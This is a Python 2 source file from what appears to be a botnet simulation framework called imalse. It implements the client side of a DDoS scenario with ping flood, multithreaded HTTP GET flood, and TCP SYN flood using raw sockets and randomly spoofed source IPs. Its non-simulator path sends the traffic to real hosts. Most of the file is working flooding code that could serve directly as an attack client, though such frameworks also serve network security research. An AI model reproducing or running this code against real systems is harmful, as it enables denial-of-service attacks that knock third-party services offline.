Source

imalse / scenario / ddos_flooding / client_cmd.py

"""

This file contains the Client Command Meta Description for the ddos ping
flooding scenario.

"""
import socket
import sys
import time

from random import randrange
from threading import Thread
    
from core.real import PhysicalNode 
from core.nodes.client import ClientCMD as CCMD

from scenario.ddos_flooding.config import ClientDescription
           
class ClientCMD(CCMD):
    
    """This class is a subclass of ClientCMD."""
    
    def __init__(self, desc=None):
        if desc == None:
            desc = ClientDescription()
            
        CCMD.__init__(self, desc)
        self.connected = False

    def ping_flood(self, sock, data):
        """Start ping flood."""        
        self.node.ping(sock, data, threaded=True)

    def get_request_flood(self, sock, data):
        """Start http get request flood."""
        self.start_http_get_flood(data.hostname, data.port, data.num_requests, data.num_threads)
    
    def syn_flood(self, sock, data):
        """Start TCP syn flood."""
        self.start_syn_flood(data.hostname, data.port, data.num_packets, data.num_threads)
        
    def recv_ack(self):
        """
        
        Overridden method. Callback when a 'ack' message is received from the 
        server. A flag is set to true when the connection is made.
        
        """
        self.logger.info("connection constructed")
        print 'connection constructed'
        self.connected = True
        self.node.recv(self.sock, 512, self.dispatcher)

    #################################
    ###       TCP Syn Attack      ###
    #################################    

    NOT_VALID = [10, 127, 169, 172, 192]

    def generate_random_ip(self):
        """Generate a random ip address"""
        first = randrange(1, 256)
        while first in self.NOT_VALID:
            first = randrange(1, 256)
    
        return ".".join([str(first), str(randrange(1, 256)), \
                          str(randrange(1, 256)), str(randrange(1, 256))])  
    
    def create_real_socket(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
        except socket.error as err:
            print 'Socket could not be created. Error: ' + err
            sys.exit()
         
            # tell kernel not to put in headers, since we are providing it
            sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        return sock        
            
    def auto_send_packets(self, port, dest_ip, num_packets):
        """
        
        This function is run in a separate thread. It sends tcp syn packets to a
        specific host.
        
        """
        if self.node.NODE_TYPE != 'sim_ns3':
            sock = self.create_real_socket()
            for _ in range(num_packets):
                source_ip = self.generate_random_ip()
                packet = self.node.construct_packet(source_ip, dest_ip)
                self.node.sendto(sock, packet, dest_ip , port)
            return
        
        self.connected = False
        sock = self.node.create_sock({'type':'client', 'proto': 'tcp'})
        self.node.connect(sock, ((str(dest_ip), int(port))))
        
        while self.connected == False:
            pass        
           
        for _ in range(num_packets):
            source_ip = self.generate_random_ip()
            packet = self.node.construct_packet(sock, source_ip, dest_ip, socket.IPPROTO_TCP)
            self.node.send_packet(sock, packet)
            
        print("\nDone %i requests on %s" % (num_packets, dest_ip))    
            
    def start_syn_flood(self, hostname, port, num_packets, num_threads):
        """Start the tcp syn flood."""
        dest_ip = socket.gethostbyname(hostname)
            
        num_packets_per_thread = int(num_packets/num_threads)
        
        try:
            for _ in range(num_threads):
                flood_thread = Thread( 
                                  target=self.auto_send_packets,\
                                  args=(port, dest_ip, num_packets_per_thread) 
                                  )
                flood_thread.start()
        except (KeyboardInterrupt, SystemExit):
            print "\n! Receive Keyboard interrupt, quitting threads. \n"
        
    #################################
    ###       HTTP GetAttack      ###
    #################################     
       
    def real_networking(self, hostname, port):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
        sock.connect((hostname, port))
        sock.send("GET / HTTP/1.1\r\n\r\n")
        sock.close()
    
    def auto_send_request(self, hostname, port=80, num_request=10):
        """
        
        This function is run in a separate thread. It sends http get requests to a
        specific host.
        
        """    
        if self.node.NODE_TYPE != 'sim_ns3':
            for _ in range(num_request):
                try:    
                    self.real_networking(hostname, port)
                except socket.error as err:
                    print "ERROR: " + str(err)
            return
        
        self.connected = False   
        sock = self.node.create_sock({'type':'client', 'proto': 'tcp'})                
        self.node.connect(sock, ((str(hostname), int(port))))
        
        while self.connected == False:
            pass
        
        for _ in range(num_request):
            self.node.send(sock, "GET / HTTP/1.1\r\n\r\n") 
                    
    def start_http_get_flood(self, hostname, port=80, num_request=1000, num_threads=100):    
        """Start the http get flooding.""" 
        number_of_requests_per_thread = int(num_request/num_threads)    
        try:
            for _ in range(num_threads):
                flood_thread = Thread( 
                                  target=self.auto_send_request,\
                                  args=(hostname, port, number_of_requests_per_thread) 
                                  )
                flood_thread.start()
        except (KeyboardInterrupt, SystemExit):
            print "\n! Receive Keyboard interrupt, quitting threads. \n"

if __name__ == "__main__":
    cmd = ClientCMD()
    node = PhysicalNode()
    cmd.install(node)
    node.start()
Tip: Filter by directory path e.g. /media app.js to search for public/media/app.js.
Tip: Use camelCasing e.g. ProjME to search for ProjectModifiedEvent.java.
Tip: Filter by extension type e.g. /repo .js to search for all .js files in the /repo directory.
Tip: Separate your search with spaces e.g. /ssh pom.xml to search for src/ssh/pom.xml.
Tip: Use ↑ and ↓ arrow keys to navigate and return to view the file.
Tip: You can also navigate files with Ctrl+j (next) and Ctrl+k (previous) and view the file with Ctrl+o.
Tip: You can also navigate files with Alt+j (next) and Alt+k (previous) and view the file with Alt+o.